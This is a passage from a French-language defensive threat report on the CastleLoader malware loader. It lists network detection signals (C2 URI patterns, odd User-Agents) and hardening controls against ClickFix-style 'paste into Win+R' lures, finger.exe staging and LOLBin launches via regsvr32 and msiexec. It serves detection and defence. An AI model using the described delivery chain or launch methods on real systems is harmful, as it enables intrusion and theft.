contourner les contrôles d’intégrité mémoire de Windows 11 24H2 avant l’injection. **Pourquoi cela fonctionne :** c’est l’indicateur le plus net qu’un injecteur a détecté le contrôle mémoire supplémentaire de Windows 11 24H2 et cherche activement à le neutraliser. La preuve de concept de Hasherezade est bien connue et le modèle du correctif est reconnaissable. ### 6. Trafic HTTP contenant les URI /service/settings/ ou /service/tasks **Télémétrie :** Journaux du pare-feu / proxy Requêtes HTTP sortantes vers des URI correspondant aux modèles `/service/settings/`, `/service/tasks`, `/service/download/` ou `/service/tasks/complete/id/`. La valeur hexadécimale de l’URI settings est l’identifiant de campagne de 64 caractères. **Pourquoi cela fonctionne :** ces modèles d’URI sont intégrés à la porte dérobée principale et restent visibles même lorsque le corps est chiffré avec ChaCha20. La requête GET initiale des paramètres n’est pas chiffrée, ce qui en fait le signal le plus facile à détecter au niveau du proxy. ### 7. Modèles de User-Agent inhabituels provenant de processus utilisateur **Télémétrie :** Journaux du pare-feu / proxy Trafic HTTP sortant dont le User-Agent est soit : - La chaîne littérale `Googlebot` depuis un terminal non serveur. - Un jeton alphanumérique à forte entropie de 20 à 32 caractères ne contenant ni version ni nom de produit. Selon l’analyse publique, le stager de CastleLoader utilise Googlebot et le composant principal un jeton aléatoire propre au build, identique au champ access_key du corps. **Pourquoi cela fonctionne :** le véritable robot d’exploration de Google ne provient pas des postes de travail. Les User-Agents constitués de jetons aléatoires n’ont aucun précédent dans les navigateurs ou applications légitimes et indiquent un client HTTP personnalisé. ## Recommandations de durcissement Les cinq contrôles ci-dessous bloquent les principales chaînes de distribution de CastleLoader sans coût de licence. Aucun ne nécessite l’achat d’un nouveau produit. Les éléments sont classés selon la difficulté de déploiement : - **Action rapide** = une GPO ou une règle unique, déployable en quelques jours. - **Standard** = déploiement préalable en mode audit, réalisable en quelques semaines. ### 1. Désactiver la boîte de dialogue Exécuter de Windows pour les utilisateurs non administrateurs **Niveau :** Action rapide Définissez la stratégie de groupe `NoRun` pour les comptes utilisateur qui n’ont pas besoin d’accéder à la boîte de dialogue Exécuter. Cette mesure bloque Win+R, l’entrée « Exécuter… » du menu avancé Win+X et la boîte de dialogue Nouvelle tâche du Gestionnaire des tâches, soit toute la surface utilisée par ClickFix. Les utilisateurs ayant un besoin légitime, notamment les développeurs et l’équipe IT, peuvent être exemptés au moyen de leur placement dans une UO. **Chemin :** Configuration utilisateur → Modèles d’administration → Menu Démarrer et barre des tâches → Supprimer le menu Exécuter du menu Démarrer. Ou registre : `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun` = 1. ### 2. Bloquer le port TCP sortant 79 (finger) à la sortie du réseau **Niveau :** Action rapide `finger.exe` constitue le point d’entrée de l’étape 2 de BackgroundFix. Le client finger de Windows est fourni depuis NT et reste présent dans les versions actuelles de Windows, mais presque personne ne l’utilise en dehors de rares scénarios d’interopérabilité Unix. Le blocage du trafic TCP/79 sortant à la sortie du réseau ne coûte rien et interrompt toute la chaîne BackgroundFix dès sa première étape réseau. **Chemin :** règle de sortie du pare-feu refusant TCP/79 depuis les sous-réseaux des terminaux. Vous pouvez l’associer à une règle AppLocker interdisant entièrement l’exécution de `finger.exe` aux utilisateurs non administrateurs. ### 3. Bloquer l’exécution depuis les chemins accessibles en écriture à l’utilisateur avec AppLocker ou WDAC **Niveau :** Standard Interdisez l’exécution d’exécutables non signés depuis `%APPDATA%`, `%LOCALAPPDATA%` et `%TEMP%`. Cela bloque les étapes AutoIt3, pythonw (BYOI) et installateur trojanisé de toutes les variantes de CastleLoader avant l’exécution du shellcode du stager. Commencez en mode audit afin d’identifier les logiciels légitimes qui dépendent de ces chemins, puis appliquez la stratégie. **Chemin :** Configuration ordinateur → Paramètres Windows → Paramètres de sécurité → Stratégies de contrôle des applications → AppLocker. Stratégies WDAC via la commande PowerShell `New-CIPolicy`. ### 4. Activer la journalisation des blocs de script PowerShell et le mode de langage contraint **Niveau :** Action rapide La journalisation des blocs de script capture les chaînes `Invoke-WebRequest` / `Expand-Archive` obscurcies ainsi que les méthodes de lancement PowerShell (7) utilisées par la plateforme de tâches de CastleLoader, même lorsque les charges utiles s’auto-suppriment. Le mode de langage contraint restreint les fonctions de réflexion .NET utilisées par les attaquants pour exécuter des chargeurs en mémoire. **Chemin :** Configuration ordinateur → Modèles d’administration → Composants Windows → Windows PowerShell → Activer la journalisation des blocs de script PowerShell. CLM via une stratégie Device Guard ou `$ExecutionContext.SessionState.LanguageMode`. ### 5. Restreindre l’exécution des LOLBins : regsvr32, msiexec, MSBuild, InstallUtil, RegSvcs **Niveau :** Standard La plateforme de tâches de CastleLoader propose neuf méthodes de lancement, notamment DLL via regsvr32, MSI via msiexec, exécution BAT et exécution PowerShell. Le blocage ou la génération d’alertes sur ces LOLBins dans les contextes utilisateur non administratifs oblige l’opérateur à employer les voies d’injection plus bruyantes, méthodes 5 ou 6, qui produisent davantage de signaux comportementaux. **Chemin :** règles d’exécutables AppLocker, d’abord en mode audit pour identifier les dépendances, puis refus appliqués aux contextes non administratifs. Associez-les à des règles EDR alertant sur chaque LOLBin lancé par un processus parent de shell utilisateur. Les contrôles 1 et 2 bloquent entièrement la chaîne de distribution actuelle la plus répandue, BackgroundFix. Le contrôle 3 bloque l’étape du stager dans toutes les variantes. Les contrôles 4 et 5 limitent l’utilité opérationnelle de la plateforme si un stager parvient malgré tout à s’installer. Aucun ne supprime l’ingénierie sociale sous-jacente ; une sensibilisation des utilisateurs aux invites leur demandant « d’appuyer sur Win+R et de coller ceci » reste une mesure complémentaire. L’efficacité de CastleLoader dépend du collage de la commande par l’utilisateur. Une formation présentant toute invite de ce type comme un indicateur de compromission à signaler obligatoirement à l’équipe de sécurité constitue la défense la moins coûteuse. ## Références principales Références techniques et recommandations relatives aux cadres. - [MITRE ATT&CK — Cadre Enterprise](https://attack.mitre.org/) — 2025 - [Documentation de l’API Win32 de Microsoft](https://learn.microsoft.com/en-us/windows/win32/api/) — 2025 - [Documentation de sécurité Microsoft](https://learn.microsoft.com/en-us/windows/security/) — 2025